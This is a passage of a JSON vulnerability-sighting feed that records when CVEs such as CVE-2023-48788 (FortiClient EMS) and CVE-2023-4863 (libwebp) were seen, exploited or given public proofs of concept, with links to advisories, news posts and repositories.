"2026-02-02T12:26:51.065328Z"}, {"uuid": "361767f6-b271-45a3-9f5b-f5d628ef8c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/c71d74eb-5c12-47b7-95ab-c2416dd932a5", "content": "", "creation_timestamp": "2026-02-07T01:58:55.000000Z"}, {"uuid": "fa9bfaa8-26e7-4f21-8ab9-4077d1957a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/f88ee265-c1d6-4642-824a-986dae80c7b6", "content": "", "creation_timestamp": "2026-03-02T09:40:53.000000Z"}, {"uuid": "69a692c2-cbcb-4d4a-846f-c0ad578645d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1106", "content": "", "creation_timestamp": "2023-09-12T04:00:00.000000Z"}, {"uuid": "84136c06-a705-45b4-8c92-ced789567d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1107", "content": "", "creation_timestamp": "2023-09-13T04:00:00.000000Z"}, {"uuid": "34f37ce8-552f-45b6-aeb4-fc6494d36507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1109", "content": "", "creation_timestamp": "2023-09-13T04:00:00.000000Z"}, {"uuid": "8294c26f-0e53-4ff0-b318-7b5609262880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1111", "content": "", "creation_timestamp": "2023-09-18T04:00:00.000000Z"}, {"uuid": "4f414eaa-75a9-4713-befb-b0da78d10905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_28/2023", "content": "", "creation_timestamp": "2023-11-30T08:45:23.000000Z"}, {"uuid": "930e9f11-43c5-45d0-84dc-6a552a5eaadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1246", "content": "", "creation_timestamp": "2024-03-13T04:00:00.000000Z"}, {"uuid": "2b86e489-98fc-45ba-a686-5fa4b17a14ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/19c6acfb-6c90-4513-9e47-7d19fa8e81de", "content": "", "creation_timestamp": "2026-02-02T12:26:16.718481Z"}, {"uuid": "640a4e6b-f7a3-481a-9e8c-cf2cd8dc7e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3d3e4bb8-ab3a-41e0-aa6d-330eeb5f0c53", "content": "", "creation_timestamp": "2026-02-02T12:26:40.009594Z"}, {"uuid": "bbf9bf47-d925-4614-8604-b930bd9d3948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aa8d5c88-3ff7-4f35-ac94-a52fe0af1d68", "content": "", "creation_timestamp": "2026-02-02T12:25:27.866632Z"}, {"uuid": "d501e62c-62c0-46db-8f23-9cfa41a5ed8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/76c80909-1637-4aa6-be6d-eb69244d4e8b", "content": "", "creation_timestamp": "2026-02-02T12:26:51.065328Z"}, {"uuid": "ec012930-313a-438e-87c0-82782d170695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3midg6oef5o2u", "content": "", "creation_timestamp": "2026-03-31T05:14:06.599492Z"}, {"uuid": "b28af123-a3da-457f-9494-28ba6578e832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/sgInnora/1881b930d06973834faf1f59e2e2e2ac", "content": "", "creation_timestamp": "2026-04-02T07:35:25.000000Z"}, {"uuid": "f65d3d23-b6d4-48f8-b85f-81158d24cbce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/nguyenvietphat-0302/105c79ab797c054b1bc4ec1b9beb4aaf", "content": "", "creation_timestamp": "2026-04-30T03:00:55.000000Z"}, {"uuid": "cac8cc81-c658-4bc9-a95d-73f852e93164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/DOIQtoRPo9QZsuX5THXjgS647nyT83qV2A8rDRo8PS4OVRs", "content": "", "creation_timestamp": "2025-12-31T05:18:58.000000Z"}, {"uuid": "2fe7317b-58d2-4e95-8f1a-eac6b31f2c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/HackingInsights/13119", "content": "\u200aMedusa Exploits Fortinet Flaw (CVE-2023-48788) for Stealthy Ransomware Attacks\n\nhttps://securityonline.info/medusa-exploits-fortinet-flaw-cve-2023-48788-for-stealthy-ransomware-attacks/", "creation_timestamp": "2024-09-15T21:05:48.000000Z"}, {"uuid": "5df7d68b-7f04-4d83-bb9f-36dcefabdf5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-forticlient-ems-sql-injection-cve-2026-21643-patch-immediately", "content": "", "creation_timestamp": "2026-03-31T07:45:24.000000Z"}, {"uuid": "fce5d8c7-aa57-4fad-b753-07f32e38be57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/kMO0qRphtGiNrKAskJeMZ9CUi5il7qGaJijPxFyMEDYkejQ", "content": "", "creation_timestamp": "2024-04-17T14:09:52.000000Z"}, {"uuid": "88720692-d73a-43c6-9280-d3f02680ef50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48691", "type": "seen", "source": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html", "content": "", "creation_timestamp": "2026-03-10T04:00:00.000000Z"}, {"uuid": "95debed1-79b2-4bbb-8f3e-2e0bb5899717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48692", "type": "seen", "source": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html", "content": "", "creation_timestamp": "2026-03-10T04:00:00.000000Z"}, {"uuid": "0e78176b-ceee-435c-81e8-510373c17ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48693", "type": "seen", "source": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html", "content": "", "creation_timestamp": "2026-03-10T04:00:00.000000Z"}, {"uuid": "7aa27e46-0aff-42d7-83b0-ce42a303f2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/qEB3cQjn89-Wp0e5IcB9U1WByFHdUfbB2SjNxLmQQweLTVo", "content": "", "creation_timestamp": "2024-03-26T07:18:45.000000Z"}, {"uuid": "2e44f6d5-9334-4c8b-b33f-f319ea53421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48790", "type": "seen", "source": "https://t.me/cvedetector/20105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48790 - Fortinet FortiNDR CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48790 \nPublished : March 11, 2025, 3:15 p.m. | 1\u00a0hour ago \nDescription : A cross site request forgery vulnerability [CWE-352] in Fortinet FortiNDR version 7.4.0, 7.2.0 through 7.2.1 and 7.1.0 through 7.1.1 and before 7.0.5 may allow a remote unauthenticated attacker to execute unauthorized actions via crafted HTTP GET requests. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T17:37:54.000000Z"}, {"uuid": "d83c37ce-c4a8-42ff-9d62-d91a79357085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cKure/11569", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Four major browsers impacted by a single zero-day vulnerability.\n\nMicrosoft Edge, Mozilla Firefox, Google Chrome and Apple's Safari browser have all released patches for CVE-2023-4863.\n\nhttps://techmonitor.ai/technology/cybersecurity/four-big-tech-browsers-hit-by-one-zero-day-vulnerability", "creation_timestamp": "2023-09-15T16:28:11.000000Z"}, {"uuid": "196f706c-561d-4882-bf81-36dd3f4110e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/cKure/11554", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2023-4863: Google fixes another Chrome zero-day bug exploited in attacks.\n\nhttps://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html\n\nhttps://www.bleepingcomputer.com/news/google/google-fixes-another-chrome-zero-day-bug-exploited-in-attacks/", "creation_timestamp": "2023-09-12T05:06:39.000000Z"}, {"uuid": "7de23652-ac51-4c2f-aade-8b82eaae8e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve202348022", "content": "", "creation_timestamp": "2024-02-14T12:16:10.000000Z"}, {"uuid": "a5b2695a-751f-4e88-ac8c-85606e92c1db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/adspowerru/368", "content": "\u041f\u043e\u0434\u0432\u0435\u0434\u0435\u043c \u0438\u0442\u043e\u0433\u0438 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0439 AdsPower \u0437\u0430 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c \u043c\u0435\u0441\u044f\u0446 \ud83d\ude0e\n\n\n\u26a1\u041e\u0442\u043f\u0435\u0447\u0430\u0442\u043e\u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\n1. SunBrowser: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e \u044f\u0434\u0440\u043e Chrome 117 \u0434\u043b\u044f \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441 UA\n2. User-Agent: \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 117\n3. SunBrowser: \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4863 \u0432 Chrome (\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 116/115).\n\n\u26a1\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u043c\u0438\n1. \u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u043a\u044d\u0448\u0430: \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u043a\u044d\u0448\u0430\n2. \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 Instagram\n3. \u041a\u043e\u0440\u0437\u0438\u043d\u0430: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \"\u0423\u0434\u0430\u043b\u0438\u0442\u044c\" \u0434\u043b\u044f \u043e\u0447\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u0440\u0437\u0438\u043d\u044b.\n\n\u26a1RPA \n1. \u041d\u043e\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: \"\u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u0443\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b\" \u0438 \"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u043a\u0443\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b\".\n2. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043e: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \"\u0426\u0438\u043a\u043b\u0430 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0440\u0430\u0437\" \u0438 \"\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u0433\u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u044f\"\n3. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438 \"\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 JSON\"\n4. \u0416\u0443\u0440\u043d\u0430\u043b \u0437\u0430\u0434\u0430\u0447: \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\n5. \u0428\u0435\u0440\u0438\u043d\u0433 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0438\u0442\u0441\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438\n6. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \"\u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443\" \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u26a1\u0414\u0440\u0443\u0433\u043e\u0435\n1. \u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u043d\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \"\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u043e \u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u044b\" (\u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 - \u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438).\n\n\n\u0421 \u0443\u0432\u0430\u0436\u0435\u043d\u0438\u0435\u043c, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 AdsPower! \ud83d\udc99", "creation_timestamp": "2023-09-30T09:21:06.000000Z"}, {"uuid": "307192cf-16c7-4420-bca1-acb64eea3a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/cKure/12565", "content": "Security researchers have released a proof-of-concept (PoC) exploit for a critical vulnerability in Fortinet's FortiClient Enterprise Management Server (EMS) software, which is now actively exploited in attacks.\n\nTracked as CVE-2023-48788, this security flaw is an SQL injection in the DB2 Administration Server (DAS) component discovered and reported by the UK's National Cyber Security Centre (NCSC).\n\nhttps://www.bleepingcomputer.com/news/security/exploit-released-for-fortinet-rce-bug-used-in-attacks-patch-now/", "creation_timestamp": "2024-03-21T16:51:37.000000Z"}, {"uuid": "b15a3c23-cd9d-4cac-bf1b-af0948391cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/cKure/12588", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2023-48788: Fortinet FortiClient EMS SQL Injection Deep Dive.\n\nhttps://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/", "creation_timestamp": "2024-03-24T02:01:09.000000Z"}, {"uuid": "8807f583-0812-4e76-9d6a-9be51f3ee477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/cKure/12871", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Analysing a NSO iOS Spyware Sample(#blastpass)\nCVE-2023-41064 + CVE-2023-41061 + WebP Vulnerability CVE-2023-4863.\n\nhttps://github.com/blackorbird/APT_REPORT/blob/master/NSOGroup/Asia-24-Frielingsdorf-YouShallNotPassAnalysing.pdf\n\nhttps://citizenlab.ca/2023/09/blastpass-nso-group-iphone-zero-click-zero-day-exploit-captured-in-the-wild/", "creation_timestamp": "2024-05-10T02:21:31.000000Z"}, {"uuid": "0b32d1d3-49c0-4cf6-866f-fda1edbcd9d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/sanspie_notes/358", "content": "\u0414\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0440\u0435\u0434\u043a\u043e\u0435 \u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0433\u0434\u0430 RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Chrome/Chromium (\u0432\u043a\u043b\u044e\u0447\u0430\u044f Edge), \u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Firefox. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4863 \u043d\u0430\u0448\u043b\u0438 \u0432 libwebp, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0440\u0430\u0441\u0442\u0440\u043e\u0432\u044b\u043c\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 WebP (\u0437\u0430\u043c\u0435\u043d\u0430 PNG \u0438 JPEG). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043c\u0435\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 WebP, \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 libwebp \u0438 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c. Google \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435. \n\n\u0418 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b. \u041f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e libwebp \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Electron framework, Signal, Honeyview, Affinity, Gimp, Inkscape, LibreOffice, Telegram, Thunderbird (\u0435\u0441\u0442\u044c \u043f\u0430\u0442\u0447), ffmpeg \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u0410 \u043a\u0430\u043a \u043d\u0430\u0441\u0447\u0451\u0442 Safari? \u041f\u0440\u043e \u043d\u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043c\u043e\u043b\u0447\u0430\u0442, \u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0421\u041c\u0418 \u0434\u0435\u043b\u0430\u044e\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 RCE \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Apple, CVE-2023-41061 \u0438 CVE-2023-41064, \"\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\" #BLASTPASS \u044d\u0442\u043e \u043f\u0440\u043e \u0442\u043e \u0436\u0435.\n\n\u0418 \u0447\u0442\u043e, \u043a\u0430\u043a \u0441 log4j \u0431\u0443\u0434\u0435\u0442? \u0412\u0440\u044f\u0434 \u043b\u0438, \u043d\u043e \u0432\u0438\u0434\u0438\u043c\u043e \u0437\u0430\u0446\u0435\u043f\u0438\u0442 \u043c\u043d\u043e\u0433\u043e \u043a\u043e\u0433\u043e.\n\n@avleonovrus #libwebp", "creation_timestamp": "2023-09-14T08:07:18.000000Z"}, {"uuid": "ea1029e5-63d3-4044-bbcd-5a4b61feac1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/cKure/14065", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Hackers Exploiting FortiClient EMS Vulnerability (CVE-2023-48788) in the Wild.\n\nhttps://cybersecuritynews.com/hackers-exploiting-forticlient-ems-vulnerability/", "creation_timestamp": "2024-12-21T04:00:32.000000Z"}, {"uuid": "4bb4b68f-1875-435e-99f6-7e36345d1eb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5136", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-4863 POC\nURL\uff1ahttps://github.com/suhipek/CVE-2023-4863\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-21T15:31:35.000000Z"}, {"uuid": "1dfc7de2-74c9-414b-8fa7-c3efefba8e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5211", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aBAD-WEBP-CVE-2023-4863\nURL\uff1ahttps://github.com/talbeerysec/BAD-WEBP-CVE-2023-4863\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-25T22:16:42.000000Z"}, {"uuid": "93e0c456-fcb6-404c-a751-dcc295454099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5283", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aA tool for finding vulnerable libwebp(CVE-2023-4863)\nURL\uff1ahttps://github.com/murphysecurity/libwebp-checker\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-10-05T03:33:45.000000Z"}, {"uuid": "e362f828-22e3-44ba-ba8f-b8fb3257c750", "vulnerability_lookup_origin": 